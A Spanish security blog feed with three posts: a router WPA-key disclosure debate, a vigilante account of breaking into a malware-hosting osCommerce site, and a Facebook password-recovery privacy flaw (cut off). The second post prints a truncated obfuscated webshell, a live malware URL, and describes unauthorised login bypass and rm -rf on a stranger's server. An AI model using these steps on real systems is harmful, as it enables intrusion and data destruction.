<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0"><id>tag:blogger.com,1999:blog-1547170927549978957</id><updated>2012-02-16T18:37:46.217-03:00</updated><category term="elhacker.net" /><category term="0 day" /><category term="Microsoft" /><category term="ekoparty" /><category term="Lapsec" /><category term="C" /><category term="Review" /><category term="inseguridad" /><category term="malware" /><category term="Anonymous" /><category term="Kernel" /><category term="Novedades" /><category term="Windows" /><category term="Apple" /><category term="Web" /><category term="vulnerabilidad" /><category term="C++" /><category term="Historias" /><category term="Chrome" /><category term="Seguridad informatica" /><category term="Mozilla" /><category term="Mac" /><category term="Documental" /><category term="irc" /><category term="Noticia" /><category term="conferencias" /><category term="Android" /><category term="Facebook" /><category term="lnk" /><category term="Offtopic" /><category term="Windows 7" /><category term="Adobe" /><category term="LOIC" /><category term="HD Moore" /><category term="botnets" /><category term="NSA" /><category term="Windows Vista" /><category term="SeguridadWireless" /><category term="Navegadores" /><category term="bot" /><category term="Drivers" /><category term="WikiLeaks" /><category term="WPA" /><category term="Pirateria" /><category term="Hacker" /><category term="Xbox" /><category term="DLL" /><category term="programacion" /><category term="Exploit" /><category term="Reader X" /><category term="sasl" /><category term="herramientas" /><category term="Google" /><category term="Privacidad" /><category term="Open Office" /><category term="Microsoft Security Essentials" /><category term="antivirus" /><category term="Firefox" /><category term="UAC" /><category term="Bugs" /><category term="Conficker" /><category term="COMTREND" /><category term="Linux" /><category term="twitter" /><category term="eventos" /><category term="DoS" /><category term="Hijacking" /><category term="freenode" /><category term="Skimming" /><title type="text">Need of Security</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default?start-index=26&amp;max-results=25" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/NeedOfSecurity" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="needofsecurity" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8543691966236064109</id><published>2011-02-06T20:19:00.004-03:00</published><updated>2011-03-10T19:06:37.439-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="COMTREND" /><category scheme="http://www.blogger.com/atom/ns#" term="SeguridadWireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Bugs" /><category scheme="http://www.blogger.com/atom/ns#" term="WPA" /><title type="text">Fallo de seguridad en el router COMTREND. Una de suspenso.</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s1600/ssd.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="129" src="http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s320/ssd.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Ya habíamos hablado de este fallo en otra &lt;a href="http://www.needofsecurity.com.ar/2010/12/fallo-de-seguridad-en-el-router.html"&gt;oportunidad&lt;/a&gt;. De como SeguridadWireless al descubrir el fallo decidió no revelar los detalles técnicos por el momento en pos de darle tiempo a las compañías para que puedan solucionarlo.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lo que mas me ha asombrado en este ultimo tiempo es la cantidad de noticias sin contrastar (en parte gracias al silencio de los implicados) que he visto en varios blogs de seguridad.. Todo comenzó con &lt;a href="http://www.hispasec.com/unaaldia/4487/"&gt;unaaldia&lt;/a&gt; de &lt;a href="http://www.hispasec.com/"&gt;Hispasec&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Todo apunta a que el algoritmo ha sido filtrado por alguien con acceso a  &lt;br /&gt;esta información desde alguna de las empresas implicadas. La otra opción  &lt;br /&gt;sería el haber realizado ingeniería inversa a una gran muestra de  &lt;br /&gt;routers, y esto pensamos que es extremadamente complejo (aunque no  &lt;br /&gt;imposible) por el hecho de que el algoritmo usa hashes criptográficos. &lt;/blockquote&gt;Primero que nada hay que aclarar que no es necesario emplear ingeniería inversa a una gran muestra de routers, basta con hacerlo en uno solo. Al obtener el algoritmo, lo único que necesitas es conseguir otra persona de confianza (o varias) con el mismo modelo y pedirle sus datos (BSSID y ESSID) y luego verificar si la clave generada por el algoritmo descubierto corresponde con la real.&lt;br /&gt;&lt;br /&gt;Otro articulo que leí fue el de &lt;a href="http://blog.s21sec.com/2011/02/claves-para-wpa-en-routers-comtrend-ct.html?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+S21sec+%28Blog+S21sec%29&amp;amp;utm_content=Google+Reader"&gt;S21sec&lt;/a&gt;, el cual proclama:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div&gt;&lt;div&gt;De todas formas, es improbable que el algoritmo se haya descubierto mediante criptoanálisis, y todo apunta a que haya habido&lt;/div&gt;&lt;div&gt;alguna fuga de información, puesto que es imposible poder revertir un algoritmo de &lt;i&gt;hash&lt;/i&gt; como MD5 (aunque sí que existen &lt;a href="http://eprint.iacr.org/2009/111.pdf"&gt;ataques&lt;/a&gt; &lt;a href="https://documents.epfl.ch/users/l/le/lenstra/public/papers/lat.pdf"&gt;publicados&lt;/a&gt;  pero con el objetivo de conseguir colisiones, no de recuperar el  texto): cogemos un entrada de longitud aleatoria que después de pasar  por el algoritmo MD5 nos devuelve siempre 128 bits; realmente es como si  cogemos cualquier número, lo dividimos entre 2, pero sólo nos quedamos  con el resto (que será 0 ó 1): es imposible recuperar el número original  a partir de ese 0 ó 1.&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;Realmente me parece sorprendente que en ningún momento se mencione la posibilidad de que hayan empleado ingeniería inversa. &lt;br /&gt;&lt;br /&gt;Como ya se sabe, los primeros en descubrir el fallo fueron los de &lt;a href="http://seguridadwireless.net/"&gt;SeguridadWireless.&lt;/a&gt; El segundo en descubrir el fallo fue &lt;a href="http://elvecinoo.wordpress.com/"&gt;elvecino&lt;/a&gt;. A pesar de no haber relación entre los dos sitios que descubrieron el fallo, ambos tomaron una politica similar de no liberarlo completamente. En el caso de SeguridadWireless para darle tiempo a las compañias para que resuelvan el fallo y mantener la seguridad de las redes lo mas posible, y en el caso de elvecino por algo bastante similar, porque se notaba demasiado que la mayoría de las personas que querían conocer los detalles técnicos del fallo, era simplemente para tener conexión gratis.&lt;br /&gt;&lt;br /&gt;Elvecino a pesar que no hizo publico el fallo directamente, fue dando pistas en el foro de &lt;a href="http://lampiweb.com/foro/index.php/topic,5595.0.html"&gt;LampiWeb&lt;/a&gt; donde varios se estaban quemando las pestañas intentando adivinar como se generaba la clave probando combinaciones aleatorias y convirtiendo estas a MD5 (intentos inútiles por supuesto dada las características técnicas del algoritmo MD5)&lt;br /&gt;En el foro de Lampiweb, elvecino decidió ir dando pistas para ayudar a las personas que realmente querían investigar el tema. Se especifica como emplearon ingeniería inversa al firmware del router dando detalles a medias, pero que le bastan a cualquier persona con los conocimientos suficientes para poder reproducir el mismo proceso. &lt;br /&gt;&lt;br /&gt;¿A que voy con esto? que me parece hilarante que se este hablando de fugas y chivatos cuando la realidad es mucho mas simple. Ingeniería inversa, y no mas que eso.&lt;br /&gt;Mi recomendación es que contacten con los responsables implicados en el tema para obtener información fehaciente y dejar de lado la especulación.&lt;br /&gt;&lt;br /&gt;Ojala los blogs de seguridad rectifiquen pronto.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Comunicado oficial de SeguridadWireless.net&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="color: red;"&gt;Nuevo comunicado 4-2-2011&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;Como todos sabéis, ayer se libero el algoritmo de generación de claves        wifi usado por los routers comtrend que instala tanto Movistar como        Jazztel.&lt;br /&gt;También sabéis que el equipo de seguridad wireless descubrió ese algoritmo        el día “*”. Desde entonces seguridadwireless.net ha sido objeto de        insultos y descalificaciones por el simple hecho de no publicar el        algoritmo, el motivo de este comunicado es explicar (de nuevo) las        posturas de seguridadwireless y defendernos de ciertas acusaciones.&lt;br /&gt;&lt;br /&gt;En primer lugar se debe conocer la siguiente premisa:        seguridadwireless.net es un foro dedicado a investigar la seguridad en        redes inalámbricas. NO es un foro de wifi gratis. Cualquiera que haya        entrado se habrá dado cuenta que esta totalmente prohibido cualquier        referencia a auditar redes wifi ajenas y preguntas de este tipo han sido y        serán consecuencia de baneo inmediato en el foro.&lt;br /&gt;&lt;br /&gt;Debido a la temática y recursos del foro hay quien ha cometido el error de        pensar que en realidad, se trata de un sitio donde te ayudan a piratear el        wifi al vecino (pero que no lo dicen abiertamente para no ver envueltos en        líos legales) por lo que luego vienen las sorpresas:&lt;br /&gt;&lt;br /&gt;Seguridadwireless no publica un algoritmo que deja cientos o quizás miles        de usuarios indefensos, una herramienta “magica” que con solo poner los        datos de la red de tu vecino te da conexión gratis y te mete de lleno en        un delito telemático.&lt;br /&gt;&lt;br /&gt;Así como otras comunidades han liberado generadores de diccionarios sin        liberar fuentes Seguridad wireless se siente orgullosa de afirmar que        siempre ha liberado el código fuente de todos los generadores y explicado        la forma en que se descubrieron llevando esto (en ocasiones) a la copia        por otras comunidades de herramientas (incluso sin citar fuentes).&lt;br /&gt;&lt;br /&gt;En seguridad wireless se han recopilado y creado herramientas de seguridad        como los LiveCd wifiway o wifislax que facilitan la auditoria wireless.&lt;br /&gt;&lt;br /&gt;Entonces ¿Por que entonces en esta ocasión no se ha liberado el fuente?&lt;br /&gt;nos encontramos ante un problema de seguridad gordo, de libro. la        posibilidad de conocer la clave por defecto de un router con tan solo        conocer la MAC del router y su nombre, nada de airodump,aircrack, captura        de paquetes, datas ivs ni ataques de fragmentación. Nos encontramos ante        la posibilidad de que cualquier persona independientemente de sus        conocimientos de seguridad e intenciones ponga en jaque, con papel y lápiz        la seguridad de las redes que le rodean. Redes que se están implantando        masivamente en España en este momento.&lt;br /&gt;&lt;br /&gt;No se libera el algoritmo, se establece una política de disclosure y se        considera que no se debe liberar un (llamémoslo exploit) “0day”, se decide        contactar a la empresa y se pacta un Non-disclosure agreement o NDA        durante un tiempo determinado. para permitir a la empresa solucionar el        problema.&lt;br /&gt;&lt;br /&gt;Y aquí señores es donde se diferencia un foro de pirateo wifi de un grupo        de seguridad, llegados a este punto se antepone la seguridad de los        usuarios a otros asuntos mas triviales como el dudoso merito de publicar        un algoritmo capaz de permitirle a cualquiera el acceso a redes que no le        pertenecen por el simple hecho de bajarse una aplicación para su móvil.&lt;br /&gt;&lt;br /&gt;Habría que ver cuantas de las personas que han insultado (porque en su        mayoría eran directamente insultos y no criticas) a seguridadwireless por        este motivo les haría gracia ver como sus peticiones dns, sus        comunicaciones ssh son hackeadas porque a alguien se le ocurrió que era        buena idea liberar el mal antes que la cura.&lt;br /&gt;&lt;br /&gt;O ¿como te sentirías si te robasen el coche porque a un gracioso se le        ocurrió decirle al mundo entero como crear una llave maestra que abriese        tu modelo de coche sin dar tiempo a que tu marca te pusiese una solución?        hay que ser civilizados.&lt;br /&gt;&lt;br /&gt;Por ultimo, el equipo se seguridadwireless se siente profundamente triste,        una comunidad que ha demostrado ser libre, trabajando con software libre e        idas libres con la única premisa de no hacer daño y ayudar pidió un voto        de confianza en un momento dado.&lt;br /&gt;Por parte de algunas personas no se le dio. Desconocemos si estas personas        pensaban que la web se trataba de “wifigratis” y pensaban que tenían        derecho a recibir sin mas, el algoritmo. si es el caso les rogamos que se        dirijan a los foros dedicados a tales fines donde podrán encontrar        ejecutables que les saquen las redes pero no los fuentes.&lt;br /&gt;Si por lo contrario te interesa la seguridad inalámbrica y no estabas de        acuerdo con ciertas decisiones esperamos que haya quedado todo explicado y        reconocemos que en algunos momentos se pudo dar mas información de la que        se dio sobre lo que estaba ocurriendo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-8543691966236064109?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/8543691966236064109/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2011/02/fallo-de-seguridad-en-el-router.html#comment-form" title="9 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8543691966236064109" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/8543691966236064109" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2011/02/fallo-de-seguridad-en-el-router.html" title="Fallo de seguridad en el router COMTREND. Una de suspenso." /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TU8sRn44fHI/AAAAAAAAAHw/Ww5TiATtUgI/s72-c/ssd.JPG" height="72" width="72" /><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-5797399887721538084</id><published>2011-01-28T06:21:00.010-03:00</published><updated>2011-01-29T11:03:31.490-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Facebook" /><title type="text">Haciendo la buena obra del día</title><content type="html">En el día anterior un usuario posteo en el &lt;a href="http://www.elhacker.net/"&gt;hacker.net &lt;/a&gt;una duda respecto de un ejecutable que se transmitía mediante Facebook. La pregunta era si el link que contenía el mensaje &lt;a href="https://foro.elhacker.net/foro_libre/virus_en_fb-t318011.0.html"&gt;era o no era un virus&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;El mensaje en especifico era este:&lt;br /&gt;&lt;blockquote&gt;"hahaha foto&lt;br /&gt;&lt;a href="http://apps.facebook.com/photoyeahhh/photo.php?=100000504053506" target="_blank"&gt;http://apps.facebook.com/photoyeahhh/photo.php?=100000504053506&lt;/a&gt; "&lt;/blockquote&gt;Al entrar a la aplicación nos encontrábamos con una pagina similar a Facebook que contenía un mensaje que declaraba:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Si quieres ver la foto haz click aquí!&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Esta aplicación nos dirigía automáticamente a http://foxy-golf.com/img/facebook-pic000934519.exe donde aparecía la confirmación de si queríamos o no descargar el archivo.&lt;br /&gt;Obviamente, lo descargamos y le damos un análisis en &lt;a href="http://www.virustotal.com/file-scan/report.html?id=e36a6c4afbe759350c67d736c6dd63b7f23aeff5fb4ed0483da7f267e85d2f3e-1296169699"&gt;VirusTotal&lt;/a&gt; para confirmar que efectivamente se trata de malware (si es que hacia falta confirmación) específicamente un bot controlado mediante IRC.&lt;br /&gt;&lt;blockquote&gt;&lt;span class="blackthick" id="status-object"&gt;facebook-pic000934519.exe&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;div style="display: inline; float: left; width: 120px;"&gt;Submission date: &lt;/div&gt;&lt;span class="blackthick" id="status-date"&gt;2011-01-27 23:08:19 (UTC)&lt;/span&gt;&lt;br /&gt;&lt;div style="display: inline; float: left; width: 120px;"&gt;Current status: &lt;/div&gt;&lt;span class="blackthick" id="status-status"&gt;finished&lt;/span&gt;&lt;br /&gt;&lt;div style="display: inline; float: left; width: 120px;"&gt;Result: &lt;/div&gt;&lt;span class="blackthick"&gt;&lt;span id="porcentaje" style="color: red;"&gt;3&lt;/span&gt;                 &lt;span id="status-total"&gt;/43 (7.0%)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" id="tablaMotores" style="width: 700px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="positive" style="color: red;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Comodo:    &lt;span style="color: red;"&gt;P2PWorm.Win32.Palevo.GZA&lt;/span&gt;&lt;br /&gt;Jiangmin:  &lt;span style="color: red;"&gt;Heur:Backdoor/Agent&lt;/span&gt;&lt;br /&gt;NOD32:&lt;span style="color: red;"&gt;     a variant of Win32/Injector.EMI &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;Hecho esto nos interesa verificar si el host es una web infectada o si es un host implementado en pos de alojar los archivos maliciosos. Entramos en &lt;a href="http://foxy-golf.com/"&gt;http://foxy-golf.com&lt;/a&gt; y al parecer nos encontramos con una tienda:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s1600/store.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s320/store.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;Registrant:&lt;br /&gt;&amp;nbsp;foxy golf&lt;br /&gt;&amp;nbsp;40 w turkeyfoot lake rd.&lt;br /&gt;&amp;nbsp;akron, Ohio 44319&lt;br /&gt;&amp;nbsp;United States&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Domain Name: FOXY-GOLF.COM&lt;br /&gt;&amp;nbsp;Created on: 13-May-08&lt;br /&gt;&amp;nbsp;Expires on: 13-May-12&lt;br /&gt;&amp;nbsp;Last Updated on: 14-May-10&lt;/blockquote&gt;&lt;br /&gt;Rápidamente nos damos cuenta que es un sistema &lt;a href="http://www.oscommerce.com/"&gt;osCommerce&lt;/a&gt;, y lamentablemente en este caso una versión muy vulnerable y sin ningún tipo de parche aplicado por parte del administrador. &lt;br /&gt;&lt;br /&gt;Accedemos fácilmente al listado de archivos bypasseando el login, y comprobamos rápidamente que se pueden descargar archivos a diestra y siniestra. Obviare algunas partes por razones que se caen de maduras, pero seria algo similar a: &lt;br /&gt;&lt;blockquote&gt;xxxxxx/xxx.php?action=download&amp;amp;file=path&lt;/blockquote&gt;Tenemos el listado de archivos y sabemos que podemos descargar. Se podra subir archivos? seguramente, pero primero veremos si podemos descargar algún fichero con los passwords necesarios.&lt;br /&gt;&lt;br /&gt;Luego de probar la descarga de varios archivos sin suerte, a simple vista la opción mas factible es intentar subir una shell. No obstante, si el host esta infectado posiblemente tenga una shell en alguno de sus directorios, y si el atacante fue lo suficientemente inexperto, esta va a estar a la vista.&lt;br /&gt;&lt;br /&gt;Descargamos los pocos archivos que nos quedaban por revisar hasta que encontramos uno con algo similar a:&lt;br /&gt;&lt;blockquote&gt;GIF89;a&lt;br /&gt;eval(gzinflate(base64_decode('&lt;br /&gt;7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j&lt;br /&gt;I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8&lt;br /&gt;s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f&lt;br /&gt;+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo&lt;br /&gt;Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm&lt;/blockquote&gt;Al descodificar este archivo, efectivamente nos damos cuenta que es la shell que necesitabamos. Intentamos acceder a la shell desde&amp;nbsp; &lt;a href="http://foxy-golf.com/shell.php"&gt;http://foxy-golf.com/shell.php&lt;/a&gt; y efectivamente tenemos suerte:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_i-43lFP4TnI/TUKME4ifJSI/AAAAAAAAAHo/fLbeA00NjHs/s1600/shell.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="190" src="http://3.bp.blogspot.com/_i-43lFP4TnI/TUKME4ifJSI/AAAAAAAAAHo/fLbeA00NjHs/s320/shell.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Como habíamos detectado al inicio, los archivos maliciosos se encontraban en el directorio /img/, por ende lanzamos un rm -rf y eliminamos el directorio completamente. Logrando asi que la aplicación de Facebook deje de funcionar:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKIk-DTgjI/AAAAAAAAAHk/dsG9tT5-Wxs/s1600/facebook.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="94" src="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKIk-DTgjI/AAAAAAAAAHk/dsG9tT5-Wxs/s320/facebook.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Terminamos el asunto dejando un archivo explicándole al administrador como debería solucionar los fallos, por supuesto también se lo enviamos por mail. Luego de esto eliminamos la shell que habíamos encontrado, saliendo así completamente del sitio.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusión&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;El aspecto positivo es que evitamos que mas gente se siga infectando al deshabilitar la aplicación que transmitía el malware, por lo menos momentáneamente.&lt;br /&gt;&lt;br /&gt;El aspecto negativo es que posiblemente el administrador ni siquiera solucione los fallos de su sitio web y aunque lo hiciese, siempre habrá cientos de administradores con sus sitios sin parchear y fácilmente accesibles por cualquier atacante.&lt;br /&gt;&lt;br /&gt;Lamentablemente Comodo me jugo una mala pasada y elimino el backup que había hecho del ejecutable malicioso sin que pudiese debuggearlo y realizar la vacuna correspondiente, por lo tanto si tienes una muestra por ahí, no dudes en enviármela.&lt;br /&gt;&lt;br /&gt;Tienen alguna "buena obra del día?" suelen hacerlas seguido o simplemente pasan del tema? sera un placer leer las historias que tengan.&lt;br /&gt;&lt;br /&gt;Saludos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1547170927549978957-5797399887721538084?l=www.needofsecurity.com.ar' alt='' /&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.needofsecurity.com.ar/feeds/5797399887721538084/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.needofsecurity.com.ar/2011/01/haciendo-la-buena-obra-del-dia.html#comment-form" title="5 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/5797399887721538084" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1547170927549978957/posts/default/5797399887721538084" /><link rel="alternate" type="text/html" href="http://www.needofsecurity.com.ar/2011/01/haciendo-la-buena-obra-del-dia.html" title="Haciendo la buena obra del día" /><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_i-43lFP4TnI/TUKE6kDirjI/AAAAAAAAAHc/vgnRQmXE0g0/s72-c/store.JPG" height="72" width="72" /><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-194587855949446574</id><published>2011-01-04T03:37:00.004-03:00</published><updated>2011-02-08T03:20:51.874-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook" /><category scheme="http://www.blogger.com/atom/ns#" term="inseguridad" /><category scheme="http://www.blogger.com/atom/ns#" term="Bugs" /><title type="text">Fallo en Facebook respecto del manejo de datos en "recordar contraseña"</title><content type="html">Decidí revisar a ver que tal funcionaba el servicio de recordar contraseñas de Facebook cuando me encontré con una sorpresa un tanto curiosa. &lt;br /&gt;Desconozco si alguien presto atención a este pequeño detalle antes que yo, al ser tan simple supongo que si pero no he visto nada al respecto; quien tenga un link a mano y desee compartirlo puede hacerlo en los comentarios!&lt;br /&gt;Este es un fallo simple pero que a la vez nos hace preguntar hasta que punto nuestra privacidad esta a resguardo. &lt;br /&gt;&lt;br /&gt;Supongamos que tenemos un perfil X, en este caso elegi a una chica al azar que llamaremos Julieta. Julieta esta agregada en la lista de contactos de nuestra cuenta y a grandes rasgos tenemos acceso a casi todos los componentes de Facebook (Muros, Notas, etc). No obstante, la dirección de mail ya sea la principal u cualquier otro tipo de información de contacto, permanecen ocultas.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s1600/aaa.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="194" src="http://1.bp.blogspot.com/_i-43lFP4TnI/TSK1twBYLjI/AAAAAAAAAHI/n6rXuVm4boc/s320/aaa.JPG" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Julieta Gisele. Sin información de contacto&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Es irrelevante en este caso cual es el criterio con el cual se oculto la información de contacto (Personas especificas, solo amigos, etc) ya que eso no nos importa demasiado puesto que para recordar la contraseña obviamente no hace falta iniciar ninguna sesión.&lt;br /&gt;&lt;br /&gt;Teniendo el perfil, vamos a recordar la contraseña tocando en &lt;a href="https://www.facebook.com/recover.php"&gt;¿Has olvidado tu contraseña?&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_i-43lFP4TnI/TSK2Yu15DTI/AAAAAAAAAHM/3Z4Awb8R8Tc/s1600/aaa2.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="238" src="http://4.bp.blogspot.com/_i-43lFP4TnI/TSK2Yu15DTI/AAAAAAAAAHM/3Z4Awb8R8Tc/s320/aaa2.JPG" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Recordar contraseña&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Ahora bien, para identificar el perfil se puede cualquiera de las 3 opciones. La primer opción por supuesto no tiene sentido ya que parte de que ya conocemos la dirección de mail de antemano. La tercera implica que conozcamos como mínimo un contacto de la lista de la persona involucrada, lo cual no siempre es factible ya que dicha lista puede estar oculta. La segunda opción es la mas simple, puesto que el link del perfil puede obtenerse facilmente.&lt;br /&gt;&lt;br /&gt;Al encontrarse el usuario, nos encontramos con un captcha, y luego de este, otro pedido de confirmación en caso que todavía deseemos recordar la contraseña.&lt;br /&gt;Es un hecho conocido que casi la totalidad de los servicios como mínimo utilizan una dirección de mail para restablecer una contraseña, Facebook obviamente no es la excepción. Por supuesto por cuestiones de privacidad oculta la dirección:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a 